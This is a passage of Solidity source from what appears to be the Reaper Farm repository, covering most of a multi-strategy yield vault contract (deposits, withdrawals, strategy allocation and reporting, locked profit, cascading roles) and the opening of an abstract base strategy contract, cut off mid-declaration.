DEGRADATION_COEFFICIENT = 10 ** 18; // The unit for calculating profit degradation. 36 | uint256 public constant PERCENT_DIVISOR = 10_000; // Basis point unit, for calculating slippage and strategy allocations 37 | uint256 public tvlCap; // The maximum amount of assets the vault can hold while still allowing deposits 38 | uint256 public totalAllocBPS; // Sum of allocBPS across all strategies (in BPS, <= 10k) 39 | uint256 public totalAllocated; // Amount of tokens that have been allocated to all strategies 40 | uint256 public lastReport; // block.timestamp of last report from any strategy 41 | uint256 public constructionTime; // The time the vault was deployed - for front-end 42 | bool public emergencyShutdown; // Emergency shutdown - when true funds are pulled out of strategies to the vault 43 | address public immutable asset; // The asset the vault accepts and looks to maximize. 44 | uint256 public withdrawMaxLoss = 1; // Max slippage(loss) allowed when withdrawing, in BPS (0.01%) 45 | uint256 public lockedProfitDegradation; // rate per block of degradation. DEGRADATION_COEFFICIENT is 100% per block 46 | uint256 public lockedProfit; // how much profit is locked and cant be withdrawn 47 | 48 | /** 49 | * Reaper Roles in increasing order of privilege. 50 | * {STRATEGIST} - Role conferred to strategists, allows for tweaking non-critical params. 51 | * {GUARDIAN} - Multisig requiring 2 signatures for emergency measures such as pausing and panicking. 52 | * {ADMIN}- Multisig requiring 3 signatures for unpausing and changing TVL cap. 53 | * 54 | * The DEFAULT_ADMIN_ROLE (in-built access control role) will be granted to a multisig requiring 4 55 | * signatures. This role would have the ability to add strategies, as well as the ability to grant any other 56 | * roles. 57 | * 58 | * Also note that roles are cascading. So any higher privileged role should be able to perform all the functions 59 | * of any lower privileged role. 60 | */ 61 | bytes32 public constant STRATEGIST = keccak256("STRATEGIST"); 62 | bytes32 public constant GUARDIAN = keccak256("GUARDIAN"); 63 | bytes32 public constant ADMIN = keccak256("ADMIN"); 64 | bytes32[] private cascadingAccess; 65 | 66 | event TvlCapUpdated(uint256 newTvlCap); 67 | event LockedProfitDegradationUpdated(uint256 degradation); 68 | event StrategyReported( 69 | address indexed strategy, 70 | int256 roi, 71 | uint256 repayment, 72 | uint256 gains, 73 | uint256 losses, 74 | uint256 allocated, 75 | uint256 allocBPS 76 | ); 77 | event StrategyAdded(address indexed strategy, uint256 allocBPS); 78 | event StrategyAllocBPSUpdated(address indexed strategy, uint256 allocBPS); 79 | event StrategyRevoked(address indexed strategy); 80 | event UpdateWithdrawalQueue(address[] withdrawalQueue); 81 | event WithdrawMaxLossUpdated(uint256 withdrawMaxLoss); 82 | event EmergencyShutdown(bool active); 83 | event InCaseTokensGetStuckCalled(address token, uint256 amount); 84 | 85 | /** 86 | * @notice Initializes the vault's own 'RF' asset. 87 | * This asset is minted when someone does a deposit. It is burned in order 88 | * to withdraw the corresponding portion of the underlying assets. 89 | * @param _asset the asset to maximize. 90 | * @param _name the name of the vault asset. 91 | * @param _symbol the symbol of the vault asset. 92 | * @param _tvlCap initial deposit cap for scaling TVL safely. 93 | */ 94 | constructor( 95 | address _asset, 96 | string memory _name, 97 | string memory _symbol, 98 | uint256 _tvlCap, 99 | address[] memory _strategists, 100 | address[] memory _multisigRoles 101 | ) ERC20(string(_name), string(_symbol)) { 102 | asset = _asset; 103 | constructionTime = block.timestamp; 104 | lastReport = block.timestamp; 105 | tvlCap = _tvlCap; 106 | lockedProfitDegradation = DEGRADATION_COEFFICIENT * 46 / 10 ** 6; // 6 hours in blocks 107 | 108 | for (uint256 i = 0; i < _strategists.length; i = _uncheckedInc(i)) { 109 | _grantRole(STRATEGIST, _strategists[i]); 110 | } 111 | 112 | _grantRole(DEFAULT_ADMIN_ROLE, msg.sender); 113 | _grantRole(DEFAULT_ADMIN_ROLE, _multisigRoles[0]); 114 | _grantRole(ADMIN, _multisigRoles[1]); 115 | _grantRole(GUARDIAN, _multisigRoles[2]); 116 | 117 | cascadingAccess = [DEFAULT_ADMIN_ROLE, ADMIN, GUARDIAN, STRATEGIST]; 118 | } 119 | 120 | /** 121 | * @notice It calculates the total underlying value of {asset} held by the system. 122 | * It takes into account the vault contract balance, and the balance deployed across 123 | * all the strategies. 124 | * @return totalManagedAssets - the total amount of assets managed by the vault. 125 | */ 126 | function totalAssets() public view returns (uint256) { 127 | return IERC20Metadata(asset).balanceOf(address(this)) + totalAllocated; 128 | } 129 | 130 | /** 131 | * @notice It calculates the amount of free funds available after profit locking. 132 | * For calculating share price and making withdrawals. 133 | * @return freeFunds - the total amount of free funds available. 134 | */ 135 | function _freeFunds() internal view returns (uint256) { 136 | return totalAssets() - _calculateLockedProfit(); 137 | } 138 | 139 | /** 140 | * @notice It calculates the amount of locked profit from recent harvests. 141 | * @return the amount of locked profit. 142 | */ 143 | function _calculateLockedProfit() internal view returns (uint256) { 144 | uint256 lockedFundsRatio = (block.timestamp - lastReport) * lockedProfitDegradation; 145 | 146 | if(lockedFundsRatio < DEGRADATION_COEFFICIENT) { 147 | return lockedProfit - ( 148 | lockedFundsRatio 149 | * lockedProfit 150 | / DEGRADATION_COEFFICIENT 151 | ); 152 | } else { 153 | return 0; 154 | } 155 | } 156 | 157 | /** 158 | * @notice The amount of shares that the Vault would exchange for the amount of assets provided, 159 | * in an ideal scenario where all the conditions are met. 160 | * @param assets The amount of underlying assets to convert to shares. 161 | * @return shares - the amount of shares given for the amount of assets. 162 | */ 163 | function convertToShares(uint256 assets) public view returns (uint256) { 164 | uint256 _totalSupply = totalSupply(); 165 | uint256 freeFunds = _freeFunds(); 166 | if (freeFunds == 0 || _totalSupply == 0) return assets; 167 | return assets.mulDivDown(_totalSupply, freeFunds); 168 | } 169 | 170 | /** 171 | * @notice The amount of assets that the Vault would exchange for the amount of shares provided, 172 | * in an ideal scenario where all the conditions are met. 173 | * @param shares The amount of shares to convert to underlying assets. 174 | * @return assets - the amount of assets given for the amount of shares. 175 | */ 176 | function convertToAssets(uint256 shares) public view returns (uint256) { 177 | uint256 _totalSupply = totalSupply(); 178 | if (_totalSupply == 0) return shares; // Initially the price is 1:1 179 | return shares.mulDivDown(_freeFunds(), _totalSupply); 180 | } 181 | 182 | /** 183 | * @notice Maximum amount of the underlying asset that can be deposited into the Vault for the receiver, 184 | * through a deposit call. 185 | * @param receiver The depositor, unused in this case but here as part of the ERC4626 spec. 186 | * @return maxAssets - the maximum depositable assets. 187 | */ 188 | function maxDeposit(address receiver) public view returns (uint256) { 189 | uint256 _totalAssets = totalAssets(); 190 | if (_totalAssets > tvlCap) { 191 | return 0; 192 | } 193 | return tvlCap - _totalAssets; 194 | } 195 | 196 | /** 197 | * @notice Allows an on-chain or off-chain user to simulate the effects of their deposit at the current block, 198 | * given current on-chain conditions. 199 | * @param assets The amount of assets to deposit. 200 | * @return shares - the amount of shares given for the amount of assets. 201 | */ 202 | function previewDeposit(uint256 assets) public view returns (uint256) { 203 | return convertToShares(assets); 204 | } 205 | 206 | /** 207 | * @notice A helper function to call deposit() with all the sender's funds. 208 | */ 209 | function depositAll() external { 210 | deposit(IERC20Metadata(asset).balanceOf(msg.sender), msg.sender); 211 | } 212 | 213 | /** 214 | * @notice The entrypoint of funds into the system. People deposit with this function 215 | * into the vault. 216 | * @param assets The amount of assets to deposit 217 | * @param receiver The receiver of the minted shares 218 | * @return shares - the amount of shares issued from the deposit. 219 | */ 220 | function deposit(uint256 assets, address receiver) public nonReentrant returns (uint256 shares) { 221 | require(!emergencyShutdown, "Cannot deposit during emergency shutdown"); 222 | require(assets != 0, "please provide amount"); 223 | uint256 _pool = totalAssets(); 224 | require(_pool + assets <= tvlCap, "vault is full!"); 225 | shares = previewDeposit(assets); 226 | 227 | IERC20Metadata(asset).safeTransferFrom(msg.sender, address(this), assets); 228 | 229 | _mint(receiver, shares); 230 | emit Deposit(msg.sender, receiver, assets, shares); 231 | } 232 | 233 | /** 234 | * @notice Maximum amount of shares that can be minted from the Vault for the receiver, through a mint call. 235 | * @param receiver The minter, unused in this case but here as part of the ERC4626 spec. 236 | * @return shares - the maximum amount of shares issued from calling mint. 237 | */ 238 | function maxMint(address receiver) public view virtual returns (uint256) { 239 | return convertToShares(maxDeposit(address(0))); 240 | } 241 | 242 | /** 243 | * @notice Allows an on-chain or off-chain user to simulate the effects of their mint at the current block, 244 | * given current on-chain conditions. 245 | * @param shares The amount of shares to mint. 246 | * @return assets - the amount of assets given for the amount of shares. 247 | */ 248 | function previewMint(uint256 shares) public view returns (uint256) { 249 | uint256 _totalSupply = totalSupply(); 250 | if (_totalSupply == 0) return shares; // Initially the price is 1:1 251 | return shares.mulDivUp(_freeFunds(), _totalSupply); 252 | } 253 | 254 | /** 255 | * @notice Mints exactly shares Vault shares to receiver by depositing amount of underlying tokens. 256 | * @param shares The amount of shares to mint. 257 | * @param receiver The receiver of the minted shares. 258 | * @return assets - the amount of assets transferred from the mint. 259 | */ 260 | function mint(uint256 shares, address receiver) external nonReentrant returns (uint256) { 261 | require(!emergencyShutdown, "Cannot mint during emergency shutdown"); 262 | require(shares != 0, "please provide amount"); 263 | uint256 assets = previewMint(shares); 264 | uint256 _pool = totalAssets(); 265 | require(_pool + assets <= tvlCap, "vault is full!"); 266 | 267 | if (_freeFunds() == 0) assets = shares; 268 | 269 | IERC20Metadata(asset).safeTransferFrom(msg.sender, address(this), assets); 270 | 271 | _mint(receiver, shares); 272 | emit Deposit(msg.sender, receiver, assets, shares); 273 | 274 | return assets; 275 | } 276 | 277 | /** 278 | * @notice Maximum amount of the underlying asset that can be withdrawn from the owner balance in the Vault, 279 | * through a withdraw call. 280 | * @param owner The owner of the shares to withdraw. 281 | * @return maxAssets - the maximum amount of assets transferred from calling withdraw. 282 | */ 283 | function maxWithdraw(address owner) external view returns (uint256) { 284 | return convertToAssets(balanceOf(owner)); 285 | } 286 | 287 | /** 288 | * @notice Allows an on-chain or off-chain user to simulate the effects of their withdrawal at the current block, 289 | * given current on-chain conditions. 290 | * @param assets The amount of assets to withdraw. 291 | * @return shares - the amount of shares burned for the amount of assets. 292 | */ 293 | function previewWithdraw(uint256 assets) public view returns (uint256) { 294 | uint256 _totalSupply = totalSupply(); 295 | if (totalSupply() == 0) return 0; 296 | uint256 freeFunds = _freeFunds(); 297 | if (freeFunds == 0) return assets; 298 | return assets.mulDivUp(_totalSupply, freeFunds); 299 | } 300 | 301 | /** 302 | * @notice Burns shares from owner and sends exactly assets of underlying tokens to receiver. 303 | * @param assets The amount of assets to withdraw. 304 | * @param receiver The receiver of the withdrawn assets. 305 | * @param owner The owner of the shares to withdraw. 306 | * @return shares - the amount of shares burned. 307 | */ 308 | function withdraw(uint256 assets, address receiver, address owner) external nonReentrant returns (uint256 shares) { 309 | require(assets != 0, "please provide amount"); 310 | shares = previewWithdraw(assets); 311 | _withdraw(assets, shares, receiver, owner); 312 | return shares; 313 | } 314 | 315 | /** 316 | * @notice Helper function used by both withdraw and redeem to withdraw assets. 317 | * @param assets The amount of assets to withdraw. 318 | * @param shares The amount of shares to burn. 319 | * @param receiver The receiver of the withdrawn assets. 320 | * @param owner The owner of the shares to withdraw. 321 | * @return assets - the amount of assets withdrawn. 322 | */ 323 | function _withdraw(uint256 assets, uint256 shares, address receiver, address owner) internal returns (uint256) { 324 | _burn(owner, shares); 325 | 326 | if (assets > IERC20Metadata(asset).balanceOf(address(this))) { 327 | uint256 totalLoss = 0; 328 | uint256 queueLength = withdrawalQueue.length; 329 | uint256 vaultBalance = 0; 330 | 331 | for (uint256 i = 0; i < queueLength; i = _uncheckedInc(i)) { 332 | vaultBalance = IERC20Metadata(asset).balanceOf(address(this)); 333 | if (assets <= vaultBalance) { 334 | break; 335 | } 336 | 337 | address stratAddr = withdrawalQueue[i]; 338 | uint256 strategyBal = strategies[stratAddr].allocated; 339 | if (strategyBal == 0) { 340 | continue; 341 | } 342 | 343 | uint256 remaining = assets - vaultBalance; 344 | uint256 loss = IStrategy(stratAddr).withdraw(Math.min(remaining, strategyBal)); 345 | uint256 actualWithdrawn = IERC20Metadata(asset).balanceOf(address(this)) - vaultBalance; 346 | 347 | // Withdrawer incurs any losses from withdrawing as reported by strat 348 | if (loss != 0) { 349 | assets -= loss; 350 | totalLoss += loss; 351 | _reportLoss(stratAddr, loss); 352 | } 353 | 354 | strategies[stratAddr].allocated -= actualWithdrawn; 355 | totalAllocated -= actualWithdrawn; 356 | } 357 | 358 | vaultBalance = IERC20Metadata(asset).balanceOf(address(this)); 359 | if (assets > vaultBalance) { 360 | assets = vaultBalance; 361 | } 362 | 363 | require(totalLoss <= ((assets + totalLoss) * withdrawMaxLoss) / PERCENT_DIVISOR, "Cannot exceed the maximum allowed withdraw slippage"); 364 | } 365 | 366 | IERC20Metadata(asset).safeTransfer(receiver, assets); 367 | emit Withdraw(msg.sender, receiver, owner, assets, shares); 368 | return assets; 369 | } 370 | 371 | /** 372 | * @notice Maximum amount of Vault shares that can be redeemed from the owner balance in the Vault, 373 | * through a redeem call. 374 | * @param owner The owner of the shares to redeem. 375 | * @return maxShares - the amount of redeemable shares. 376 | */ 377 | function maxRedeem(address owner) external view returns (uint256) { 378 | return balanceOf(owner); 379 | } 380 | 381 | /** 382 | * @notice Allows an on-chain or off-chain user to simulate the effects of their redeemption at the current block, 383 | * given current on-chain conditions. 384 | * @param shares The amount of shares to redeem. 385 | * @return assets - the amount of assets redeemed from the amount of shares. 386 | */ 387 | function previewRedeem(uint256 shares) public view returns (uint256) { 388 | return convertToAssets(shares); 389 | } 390 | 391 | /** 392 | * @notice Function for various UIs to display the current value of one of our yield tokens. 393 | * @return pricePerFullShare - a uint256 of how much underlying asset one vault share represents. 394 | */ 395 | function getPricePerFullShare() external view returns (uint256) { 396 | return convertToAssets(10 ** decimals()); 397 | } 398 | 399 | /** 400 | * @notice A helper function to call redeem() with all the sender's funds. 401 | */ 402 | function redeemAll() external { 403 | redeem(balanceOf(msg.sender), msg.sender, msg.sender); 404 | } 405 | 406 | /** 407 | * @notice Burns exactly shares from owner and sends assets of underlying tokens to receiver. 408 | * @param shares The amount of shares to redeem. 409 | * @param receiver The receiver of the redeemed assets. 410 | * @param owner The owner of the shares to redeem. 411 | * @return assets - the amount of assets redeemed. 412 | */ 413 | function redeem(uint256 shares, address receiver, address owner) public nonReentrant returns (uint256 assets) { 414 | require(shares != 0, "please provide amount"); 415 | assets = previewRedeem(shares); 416 | return _withdraw(assets, shares, receiver, owner); 417 | } 418 | 419 | /** 420 | * @notice Adds a new strategy to the vault with a given allocation amount in basis points. 421 | * @param strategy The strategy to add. 422 | * @param allocBPS The strategy allocation in basis points. 423 | */ 424 | function addStrategy(address strategy, uint256 allocBPS) external { 425 | _atLeastRole(DEFAULT_ADMIN_ROLE); 426 | require(!emergencyShutdown, "Cannot add a strategy during emergency shutdown"); 427 | require(strategy != address(0), "Cannot add the zero address"); 428 | require(strategies[strategy].activation == 0, "Strategy must not be added already"); 429 | require(address(this) == IStrategy(strategy).vault(), "The strategy must use this vault"); 430 | require(asset == IStrategy(strategy).want(), "The strategy must use the same want"); 431 | require(allocBPS + totalAllocBPS <= PERCENT_DIVISOR, "Total allocation points are over 100%"); 432 | 433 | strategies[strategy] = StrategyParams({ 434 | activation: block.timestamp, 435 | allocBPS: allocBPS, 436 | allocated: 0, 437 | gains: 0, 438 | losses: 0, 439 | lastReport: block.timestamp 440 | }); 441 | 442 | totalAllocBPS += allocBPS; 443 | withdrawalQueue.push(strategy); 444 | emit StrategyAdded(strategy, allocBPS); 445 | } 446 | 447 | /** 448 | * @notice Updates the allocation points for a given strategy. 449 | * @param strategy The strategy to update. 450 | * @param allocBPS The strategy allocation in basis points. 451 | */ 452 | function updateStrategyAllocBPS(address strategy, uint256 allocBPS) external { 453 | _atLeastRole(STRATEGIST); 454 | require(strategies[strategy].activation != 0, "Strategy must be active"); 455 | totalAllocBPS -= strategies[strategy].allocBPS; 456 | strategies[strategy].allocBPS = allocBPS; 457 | totalAllocBPS += allocBPS; 458 | require(totalAllocBPS <= PERCENT_DIVISOR, "Total allocation points are over 100%"); 459 | emit StrategyAllocBPSUpdated(strategy, allocBPS); 460 | } 461 | 462 | /** 463 | * @notice Removes any allocation to a given strategy. 464 | * @param strategy The strategy to revoke. 465 | */ 466 | function revokeStrategy(address strategy) external { 467 | if (!(msg.sender == strategy)) { 468 | _atLeastRole(GUARDIAN); 469 | } 470 | 471 | if (strategies[strategy].allocBPS == 0) { 472 | return; 473 | } 474 | 475 | totalAllocBPS -= strategies[strategy].allocBPS; 476 | strategies[strategy].allocBPS = 0; 477 | emit StrategyRevoked(strategy); 478 | } 479 | 480 | /** 481 | * @notice Called by a strategy to determine the amount of capital that the vault is 482 | * able to provide it. A positive amount means that vault has excess capital to provide 483 | * the strategy, while a negative amount means that the strategy has a balance owing to 484 | * the vault. 485 | * @return availableCapital - the amount of capital the vault can provide the strategy. 486 | */ 487 | function availableCapital() public view returns (int256) { 488 | address stratAddr = msg.sender; 489 | if (totalAllocBPS == 0 || emergencyShutdown) { 490 | return -int256(strategies[stratAddr].allocated); 491 | } 492 | 493 | uint256 stratMaxAllocation = (strategies[stratAddr].allocBPS * totalAssets()) / PERCENT_DIVISOR; 494 | uint256 stratCurrentAllocation = strategies[stratAddr].allocated; 495 | 496 | if (stratCurrentAllocation > stratMaxAllocation) { 497 | return -int256(stratCurrentAllocation - stratMaxAllocation); 498 | } else if (stratCurrentAllocation < stratMaxAllocation) { 499 | uint256 vaultMaxAllocation = (totalAllocBPS * totalAssets()) / PERCENT_DIVISOR; 500 | uint256 vaultCurrentAllocation = totalAllocated; 501 | 502 | if (vaultCurrentAllocation >= vaultMaxAllocation) { 503 | return 0; 504 | } 505 | 506 | uint256 available = stratMaxAllocation - stratCurrentAllocation; 507 | available = Math.min(available, vaultMaxAllocation - vaultCurrentAllocation); 508 | available = Math.min(available, IERC20Metadata(asset).balanceOf(address(this))); 509 | 510 | return int256(available); 511 | } else { 512 | return 0; 513 | } 514 | } 515 | 516 | /** 517 | * @notice Updates the withdrawalQueue to match the addresses and order specified. 518 | * @param _withdrawalQueue The new withdrawalQueue to update to. 519 | */ 520 | function setWithdrawalQueue(address[] calldata _withdrawalQueue) external { 521 | _atLeastRole(STRATEGIST); 522 | uint256 queueLength = _withdrawalQueue.length; 523 | require(queueLength != 0, "Cannot set an empty withdrawal queue"); 524 | 525 | delete withdrawalQueue; 526 | for (uint256 i = 0; i < queueLength; i = _uncheckedInc(i)) { 527 | address strategy = _withdrawalQueue[i]; 528 | StrategyParams storage params = strategies[strategy]; 529 | require(params.activation != 0, "Can only use active strategies in the withdrawal queue"); 530 | withdrawalQueue.push(strategy); 531 | } 532 | emit UpdateWithdrawalQueue(withdrawalQueue); 533 | } 534 | 535 | /** 536 | * @notice Helper function to report a loss by a given strategy. 537 | * @param strategy The strategy to report the loss for. 538 | * @param loss The amount lost. 539 | */ 540 | function _reportLoss(address strategy, uint256 loss) internal { 541 | StrategyParams storage stratParams = strategies[strategy]; 542 | // Loss can only be up the amount of capital allocated to the strategy 543 | uint256 allocation = stratParams.allocated; 544 | require(loss <= allocation, "Strategy cannot loose more than what was allocated to it"); 545 | 546 | if (totalAllocBPS != 0) { 547 | // reduce strat's allocBPS proportional to loss 548 | uint256 bpsChange = Math.min((loss * totalAllocBPS) / totalAllocated, stratParams.allocBPS); 549 | 550 | // If the loss is too small, bpsChange will be 0 551 | if (bpsChange != 0) { 552 | stratParams.allocBPS -= bpsChange; 553 | totalAllocBPS -= bpsChange; 554 | } 555 | } 556 | 557 | // Finally, adjust our strategy's parameters by the loss 558 | stratParams.losses += loss; 559 | stratParams.allocated -= loss; 560 | totalAllocated -= loss; 561 | } 562 | 563 | /** 564 | * @notice Helper function to report the strategy returns on a harvest. 565 | * @param roi The return on investment (positive or negative) given as the total amount 566 | * gained or lost from the harvest. 567 | * @param repayment The repayment of debt by the strategy. 568 | * @return debt - the strategy debt to the vault. 569 | */ 570 | function report(int256 roi, uint256 repayment) external returns (uint256) { 571 | address stratAddr = msg.sender; 572 | StrategyParams storage strategy = strategies[stratAddr]; 573 | require(strategy.activation != 0, "Only active strategies can report"); 574 | uint256 loss = 0; 575 | uint256 gain = 0; 576 | 577 | if (roi < 0) { 578 | loss = uint256(-roi); 579 | _reportLoss(stratAddr, loss); 580 | } else { 581 | gain = uint256(roi); 582 | strategy.gains += uint256(roi); 583 | } 584 | 585 | int256 available = availableCapital(); 586 | uint256 debt = 0; 587 | uint256 credit = 0; 588 | if (available < 0) { 589 | debt = uint256(-available); 590 | repayment = Math.min(debt, repayment); 591 | 592 | if (repayment != 0) { 593 | strategy.allocated -= repayment; 594 | totalAllocated -= repayment; 595 | debt -= repayment; 596 | } 597 | } else { 598 | credit = uint256(available); 599 | strategy.allocated += credit; 600 | totalAllocated += credit; 601 | } 602 | 603 | uint256 freeWantInStrat = repayment; 604 | if (roi > 0) { 605 | freeWantInStrat += uint256(roi); 606 | } 607 | 608 | if (credit > freeWantInStrat) { 609 | IERC20Metadata(asset).safeTransfer(stratAddr, credit - freeWantInStrat); 610 | } else if (credit < freeWantInStrat) { 611 | IERC20Metadata(asset).safeTransferFrom(stratAddr, address(this), freeWantInStrat - credit); 612 | } 613 | 614 | uint256 lockedProfitBeforeLoss = _calculateLockedProfit() + gain; 615 | if (lockedProfitBeforeLoss > loss) { 616 | lockedProfit = lockedProfitBeforeLoss - loss; 617 | } else { 618 | lockedProfit = 0; 619 | } 620 | 621 | strategy.lastReport = block.timestamp; 622 | lastReport = block.timestamp; 623 | 624 | emit StrategyReported( 625 | stratAddr, 626 | roi, 627 | repayment, 628 | strategy.gains, 629 | strategy.losses, 630 | strategy.allocated, 631 | strategy.allocBPS 632 | ); 633 | 634 | if (strategy.allocBPS == 0 || emergencyShutdown) { 635 | return IStrategy(stratAddr).balanceOf(); 636 | } 637 | 638 | return debt; 639 | } 640 | 641 | /** 642 | * @notice Updates the withdrawMaxLoss which is the maximum allowed slippage. 643 | * @param _withdrawMaxLoss The new value, in basis points. 644 | */ 645 | function updateWithdrawMaxLoss(uint256 _withdrawMaxLoss) external { 646 | _atLeastRole(STRATEGIST); 647 | require(_withdrawMaxLoss <= PERCENT_DIVISOR, "withdrawMaxLoss cannot be greater than 100%"); 648 | withdrawMaxLoss = _withdrawMaxLoss; 649 | emit WithdrawMaxLossUpdated(withdrawMaxLoss); 650 | } 651 | 652 | /** 653 | * @notice Updates the vault tvl cap (the max amount of assets held by the vault). 654 | * @dev pass in max value of uint to effectively remove TVL cap. 655 | * @param newTvlCap The new tvl cap. 656 | */ 657 | function updateTvlCap(uint256 newTvlCap) public { 658 | _atLeastRole(ADMIN); 659 | tvlCap = newTvlCap; 660 | emit TvlCapUpdated(tvlCap); 661 | } 662 | 663 | /** 664 | * @notice Helper function to remove TVL cap. 665 | */ 666 | function removeTvlCap() external { 667 | _atLeastRole(ADMIN); 668 | updateTvlCap(type(uint256).max); 669 | } 670 | 671 | /** 672 | * @notice Activates or deactivates Vault mode where all Strategies go into full 673 | * withdrawal. 674 | * During Emergency Shutdown: 675 | * 1. No Users may deposit into the Vault (but may withdraw as usual.) 676 | * 2. New Strategies may not be added. 677 | * 3. Each Strategy must pay back their debt as quickly as reasonable to 678 | * minimally affect their position. 679 | * 680 | * If true, the Vault goes into Emergency Shutdown. If false, the Vault 681 | * goes back into Normal Operation. 682 | * @param active If emergencyShutdown is active or not. 683 | */ 684 | function setEmergencyShutdown(bool active) external { 685 | if (active == true) { 686 | _atLeastRole(GUARDIAN); 687 | } else { 688 | _atLeastRole(ADMIN); 689 | } 690 | emergencyShutdown = active; 691 | emit EmergencyShutdown(emergencyShutdown); 692 | } 693 | 694 | /** 695 | * @notice Rescues random funds stuck that the strat can't handle. 696 | * @param token address of the asset to rescue. 697 | */ 698 | function inCaseTokensGetStuck(address token) external { 699 | _atLeastRole(STRATEGIST); 700 | require(token != asset, "!asset"); 701 | 702 | uint256 amount = IERC20Metadata(token).balanceOf(address(this)); 703 | IERC20Metadata(token).safeTransfer(msg.sender, amount); 704 | emit InCaseTokensGetStuckCalled(token, amount); 705 | } 706 | 707 | /** 708 | * @notice Overrides the default 18 decimals for the vault ERC20 to 709 | * match the same decimals as the underlying asset used. 710 | * @return decimals - the amount of decimals used by the vault ERC20. 711 | */ 712 | function decimals() public view override returns (uint8) { 713 | return IERC20Metadata(asset).decimals(); 714 | } 715 | 716 | /** 717 | * @notice Changes the locked profit degradation. 718 | * match the same decimals as the underlying asset used. 719 | * @param degradation - The rate of degradation in percent per second scaled to 1e18. 720 | */ 721 | function setLockedProfitDegradation(uint256 degradation) external { 722 | _atLeastRole(STRATEGIST); 723 | require(degradation <= DEGRADATION_COEFFICIENT, "Degradation cannot be more than 100%"); 724 | lockedProfitDegradation = degradation; 725 | emit LockedProfitDegradationUpdated(degradation); 726 | } 727 | 728 | /** 729 | * @notice Internal function that checks cascading role privileges. Any higher privileged role 730 | * should be able to perform all the functions of any lower privileged role. This is 731 | * accomplished using the {cascadingAccess} array that lists all roles from most privileged 732 | * to least privileged. 733 | * @param role - The role in bytes from the keccak256 hash of the role name 734 | */ 735 | function _atLeastRole(bytes32 role) internal view { 736 | uint256 numRoles = cascadingAccess.length; 737 | uint256 specifiedRoleIndex; 738 | for (uint256 i = 0; i < numRoles; i = _uncheckedInc(i)) { 739 | if (role == cascadingAccess[i]) { 740 | specifiedRoleIndex = i; 741 | break; 742 | } else if (i == numRoles - 1) { 743 | revert(); 744 | } 745 | } 746 | 747 | for (uint256 i = 0; i <= specifiedRoleIndex; i = _uncheckedInc(i)) { 748 | if (hasRole(cascadingAccess[i], msg.sender)) { 749 | break; 750 | } else if (i == specifiedRoleIndex) { 751 | revert(); 752 | } 753 | } 754 | } 755 | 756 | /** 757 | * @notice For doing an unchecked increment of an index for gas optimization purposes 758 | * @param i - The number to increment 759 | * @return The incremented number 760 | */ 761 | function _uncheckedInc(uint256 i) internal pure returns (uint256) { 762 | unchecked { 763 | return i + 1; 764 | } 765 | } 766 | } 767 | -------------------------------------------------------------------------------- /src/abstract/ReaperBaseStrategyv4.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../interfaces/IStrategy.sol"; 6 | import "../interfaces/IVault.sol"; 7 | import "@openzeppelin/contracts-upgradeable/access/AccessControlEnumerableUpgradeable.sol"; 8 | import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; 9 | import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol"; 10 | import "@openzeppelin/contracts-upgradeable/token/ERC20/utils/SafeERC20Upgradeable.sol"; 11 | 12 | abstract contract ReaperBaseStrategyv4 is IStrategy, UUPSUpgradeable, AccessControlEnumerableUpgradeable { 13 | using SafeERC20Upgradeable for IERC20Upgradeable; 14 | 15 | uint256 public constant PERCENT_DIVISOR = 10_000; 16 | uint256 public constant ONE_YEAR = 365 days; 17 | uint256 public constant UPGRADE_TIMELOCK = 48 hours; // minimum 48 hours for RF 18 | 19 | // The token the strategy wants to operate 20 | address public want; 21 | 22 | // TODO tess3rac7 23 | bool public emergencyExit; 24 | uint256 public lastHarvestTimestamp; 25 | uint256 public upgradeProposalTime; 26 | 27 | /** 28 | * Reaper Roles in increasing order of privilege. 29 | * {KEEPER} - Stricly permissioned trustless access for off-chain programs or third party keepers. 30 | * {STRATEGIST} - Role conferred to authors of the strategy, allows for tweaking non-critical params. 31 | * {GUARDIAN} - Multisig requiring 2 signatures for emergency measures such as pausing and panicking. 32 | * {ADMIN}- Multisig requiring 3 signatures for unpausing. 33 | * 34 | * The DEFAULT_ADMIN_ROLE (in-built access control role) will be granted to a multisig requiring 4 35 | * signatures. This role would have upgrading capability, as well as the ability to grant any other 36 | * roles. 37 | * 38 | * Also note that roles are cascading. So any higher privileged role should be able to perform all the functions 39 | * of any lower privileged role. 40 | */ 41 | bytes32 public constant KEEPER = keccak256("KEEPER"); 42 | bytes32 public constant STRATEGIST = keccak256("STRATEGIST"); 43 | bytes32 public constant GUARDIAN = keccak256("GUARDIAN"); 44 | bytes32 public constant ADMIN = keccak256("ADMIN"); 45 | bytes32[] private cascadingAccess; 46 | 47 | /** 48 | * @dev Reaper contracts: 49 | * {treasury} - Address of the Reaper treasury 50 | * {vault} - Address of the vault that controls the strategy's funds. 51 | * {strategistRemitter} - Address where strategist fee is remitted to. 52 | */ 53 | address public treasury; 54 | address public vault; 55 | address public strategistRemitter; 56 | 57 | /** 58 | * Fee related constants: 59 | * {MAX_FEE} - Maximum fee allowed by the strategy. Hard-capped at 10%. 60 | * {STRATEGIST_MAX_FEE} - Maximum strategist fee allowed by the strategy (as % of treasury fee). 61 | * Hard-capped at 50% 62 | */ 63 | uint256 public constant MAX_FEE = 1000; 64 | uint256 public constant STRATEGIST_MAX_FEE = 5000; 65 | 66 | /** 67 | * @dev Distribution of fees earned, expressed as % of the profit from each harvest. 68 | * {totalFee} - divided by 10,000 to determine the % fee. Set to 4.5% by default and 69 | * lowered as necessary to provide users with the most competitive APY. 70 | * 71 | * {callFee} - Percent of the totalFee reserved for the harvester (1000 = 10% of total fee: 0.45% by default) 72 | * {treasuryFee} - Percent of the totalFee taken by maintainers of the software (9000 = 90% of total fee: 4.05% by default) 73 | * {strategistFee} - Percent of the treasuryFee taken by strategist (2500 = 25% of treasury fee: 1.0125% by default) 74 | */ 75 | uint256 public totalFee; 76 | uint256 public callFee; 77 | uint256 public treasuryFee; 78 | uint256 public strategistFee; 79 | 80 | /** 81 | * {TotalFeeUpdated} Event that is fired each time the total fee is updated. 82 | * {FeesUpdated} Event that is fired each time callFee+treasuryFee+strategistFee are updated. 83 | * {StratHarvest} Event that is fired each time the strategy gets harvested. 84 | * {StrategistRemitterUpdated} Event that is fired each time the strategistRemitter address is updated. 85 | */ 86 | event TotalFeeUpdated(uint256 newFee); 87 | event FeesUpdated(uint256 newCallFee, uint256 newTreasuryFee, uint256 